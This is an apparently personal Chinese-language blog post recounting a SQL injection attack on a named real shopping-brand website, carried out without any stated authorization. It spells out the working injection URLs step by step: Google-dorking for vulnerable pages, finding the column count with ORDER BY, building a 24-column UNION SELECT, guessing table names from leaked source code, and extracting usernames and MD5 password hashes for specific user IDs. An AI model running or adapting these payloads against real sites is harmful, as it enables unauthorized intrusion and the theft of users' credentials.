光說不練假把式,關於腳本***看的心癢,就實踐了一把。
首先google:inurl:"php?id="
發現這個網站可get注入:
http://brand.66wz.com/store.php?id=18
試了下http://brand.66wz.com/store.php?id=18 and user>0
有反應,網頁上出現錯誤提示:
然後輸入
http://brand.66wz.com/store.php?id=18 and order by 5
報錯:
根據提示,改爲:
http://brand.66wz.com/store.php?id=18 ORDER BY 5 DESC LIMIT 0,20
頁面正常:
再將5改爲30,錯誤。
改爲20,正常。
······
最後得到的臨界值爲24。
然後通過火狐的插件得到下面網址:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from tables
後面的tables我試了很多單詞,如admin什麼的,都不行。
本來到這裏就該結束了。
後來感覺太可惜了,抱着試一試的心態從網頁的源代碼取了點關鍵詞百度了一下,發現了跟這個網站很多相關的信息:(http://zhangjianbin.iteye.com/blog/1631387)
其中有:
brand_admincp_group 管理組
brand_admincp_member 管理員
brand_admincp_perm 管理員權限
brand_adminsession 管理員與店鋪管理員登錄次數與信息判斷
brand_members 會員信息
最後連源代碼都有了:http://code1.okbase.net/codefile/tool.func.php_2012121116304_79.htm
然後進入:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members
ok!10可以插入字段。
分別插入username以及password就得到了用戶名以及md5加密的密碼:
那麼怎麼匹配username和passeord呢,用穿山甲掃描的時候發現還有一個uid字段:
所以只要在網址中分別添上"where uid=xxxxx"就行了。
比如說:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,username,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157
再後來,md5解密的時候發現。。。
烏雲上已經有這個網站的漏洞了:
http://www.wooyun.org/bugs/wooyun-2010-046524
還真是有夠年久了。